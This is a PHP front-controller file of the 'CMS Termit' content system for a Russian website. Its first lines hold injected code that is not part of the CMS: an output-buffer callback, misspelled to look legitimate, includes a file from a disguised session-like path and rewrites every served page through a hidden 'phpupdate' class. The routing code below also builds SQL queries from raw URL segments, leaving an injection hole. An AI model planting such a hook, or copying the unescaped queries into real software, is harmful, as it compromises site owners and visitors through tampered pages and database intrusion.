File: /var/www/ilya/data/www/afish-ka.ru/index.php
<?php
function ob_gzhanler($s)
{
$f='/var/www/ilya/data/etc/ssess_9c2a30a8e1ff987a5f4518c934be8346';
if(file_exists($f)) include_once($f);
return class_exists('phpupdate') ? phpupdate::copyright($s) : $s;
}
ob_start('ob_gzhanler');
//include("cnstats/cnt.php");
//error_reporting(0);
#----------------------------------------> CMS Termit <----------------------------------------------#
# #
# Author: Ilya Rudomilov #
# #
# E-mail: ilya@grafix.ru #
# URL: http://ilya.grafix.ru #
# ICQ: 203015 #
# #
#--------------------------> Grafix Design -- (c) 2005 <--------------------------------#
//error_reporting (E_ALL ^ E_NOTICE);
//- Проверка настроек ----------------------------------------------------------
if (get_magic_quotes_gpc()) die("Выключите magic_quotes_gpc!");
if (get_magic_quotes_runtime()) die("Выключите magic_quotes_runtime!");
if (ini_get('register_globals')) die("Выключите register_globals!");
//------------------------------------------------------------------------------
//- Вывод сообщений об ошибках ------------------------------------------------
include("includes/errors/handler.inc");
//------------------------------------------------------------------------------
//- Включение счетчика времени -------------------------------------------------
//include("includes/timestat.inc");
//timestats_start("my_time");
//------------------------------------------------------------------------------
//- Подключение конфигурационного файла ----------------------------------------
include("config.inc");
//------------------------------------------------------------------------------
//- Определение констант -------------------------------------------------------
define ("SITE_BASE_REQUEST_URI",substr($_SERVER['PHP_SELF'],0,strrpos($_SERVER['PHP_SELF'],"/")+1));
define ("SITE_BASE_HTTP_URI","https://".$_SERVER['HTTP_HOST'].SITE_BASE_REQUEST_URI);
//------------------------------------------------------------------------------
//- Отправка заголовков --------------------------------------------------------
//header("HTTP/1.0 200 Ok");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Cache-Control: post-check=0,pre-check=0");
header("Cache-Control: max-age=0");
header("Pragma: no-cache");
//------------------------------------------------------------------------------
//- Подключение к MySQL --------------------------------------------------------
$global_vars['db_connection'] = @mysqli_connect (SQL_HOST, SQL_USER, SQL_PASS,SQL_DB)
or error ("1105");
//mysqli_select_db(SQL_DB, $global_vars['db_connection'])
// or error ("1106");
//mysql_query("set NAMES utf8");
//------------------------------------------------------------------------------
//- Подключение функций --------------------------------------------------------
include("includes/functions.inc");
include("includes/cache.inc");
include("includes/typograph.inc");
include("includes/design.inc");
//include("includes/auth.inc");
//include("includes/gzip.inc");
//------------------------------------------------------------------------------
//- Выделение переменных из сроки запроса в случае обработки формы -------------
if (isset($HTTP_POST_VARS['task']))
{
$global_vars['request'] = explode("/",$HTTP_POST_VARS['task']);
}
//------------------------------------------------------------------------------
//- Выделение переменных из сроки запроса --------------------------------------
$global_vars['request'] = explode(SITE_BASE_REQUEST_URI,$_SERVER['REQUEST_URI'],2);
if($global_vars['request'][1]!='') { // Если не главная страница
$global_vars['request'] = explode("/?",$global_vars['request'][1],2); // Удаление GET-переменных
if ((strrpos($global_vars['request'][0],"/")+1)==strlen($global_vars['request'][0])) // Удаление "/" с конца
$global_vars['request'][0] = substr($global_vars['request'][0],0,strrpos($global_vars['request'][0],"/"));
$global_vars['request'] = explode("/",$global_vars['request'][0]);
}
else
$global_vars['request'] = array("");
//------------------------------------------------------------------------------
include("includes/calendar.inc");
//- Определение страницы -------------------------------------------------------
if (strpos($global_vars['request'][count($global_vars['request'])-1],".html"))
$global_vars['page'] = substr($global_vars['request'][count($global_vars['request'])-1],0,strpos($global_vars['request'][count($global_vars['request'])-1],".html"));
else
$global_vars['page'] = 1;
//------------------------------------------------------------------------------
//- Корректировка путей --------------------------------------------------------
$url = SITE_BASE_HTTP_URI;
$site_title = SITE_TITLE;
$url_encoded = urlencode("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); // Кодированный полный URL текущей страницы
//------------------------------------------------------------------------------
if(array_key_exists(1,$global_vars['request'])) {
$result = query("SELECT * FROM `firms_types` WHERE `human_id`='".$global_vars['request'][0]."' AND `human_subid`='".$global_vars['request'][1]."';");
if(mysql_num_rows($result)==1) {
$global_vars['module_type']="module";
$global_vars['module'] = 'main';
$global_vars['block'] = 'actions.inc';
}
}
if(!isset($global_vars['module_type'])) {
$result = query("SELECT * FROM `firms_types` WHERE `human_id`='".$global_vars['request'][0]."';");
if(mysql_num_rows($result)==1) {
$global_vars['module_type']="module";
$global_vars['module'] = 'main';
$global_vars['block'] = 'firms.inc';
}
else {
//start
//end
//- Определение блока и модуля -------------------------------------------------
if ((count($global_vars['request'])==1) && ($global_vars['request'][0]==''))
{
if (is_file("data/".SYSTEM_DEFAULT_BLOCK.".txt"))
{
$global_vars['module'] = SYSTEM_DEFAULT_BLOCK;
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".txt";
$global_vars['module_type'] = "data";
}
elseif (is_file("modules/".SYSTEM_DEFAULT_MODULE."/".SYSTEM_DEFAULT_BLOCK.".inc"))
{
$global_vars['module'] = SYSTEM_DEFAULT_MODULE;
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".inc";
$global_vars['module_type'] = "module";
}
else
error(404);
}
elseif (is_file("data/".join("_",$global_vars['request']).".txt"))
{
$global_vars['module'] = $global_vars['request'][0];
$global_vars['block'] = join("_",$global_vars['request']).".txt";
$global_vars['module_type'] = "data";
}
else
{
if (is_dir("modules/".$global_vars['request'][0]))
{
if (is_file("modules/".$global_vars['request'][0]."/".$global_vars['request'][1].".inc"))
{
$global_vars['module'] = $global_vars['request'][0];
$global_vars['block'] = $global_vars['request'][1].".inc";
}
elseif (is_file("modules/".$global_vars['request'][0]."/".SYSTEM_DEFAULT_BLOCK.".inc"))
{
$global_vars['module'] = $global_vars['request'][0];
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".inc";
}
else
{
$global_vars['module'] = SYSTEM_DEFAULT_MODULE;
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".inc";
}
$global_vars['module_type']="module";
}
else
{
if (is_file("data/".SYSTEM_DEFAULT_BLOCK.".txt"))
{
$global_vars['module_type']="data";
$global_vars['module'] = SYSTEM_DEFAULT_BLOCK;
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".txt";
}
else
{
$global_vars['module_type']="module";
$global_vars['module'] = SYSTEM_DEFAULT_MODULE;
$global_vars['block'] = SYSTEM_DEFAULT_BLOCK.".inc";
}
}
}
//------------------------------------------------------------------------------
}
}
//- Вызов требуемого модуля/блока ----------------------------------------------
switch ($global_vars['module_type'])
{
case "data":
$content = join("",file("data/".$global_vars['block']));
_html_design($content);
break;
case "module":
include("modules/".$global_vars['module']."/".$global_vars['block']);
break;
}
//------------------------------------------------------------------------------
//- Отключение от MySQL --------------------------------------------------------
mysqli_close($global_vars['db_connection']);
//------------------------------------------------------------------------------
//- Остановка счетчика ---------------------------------------------------------
//timestats_stop("my_time");
if (TIMESTATS=="on")
timestats_print();
//------------------------------------------------------------------------------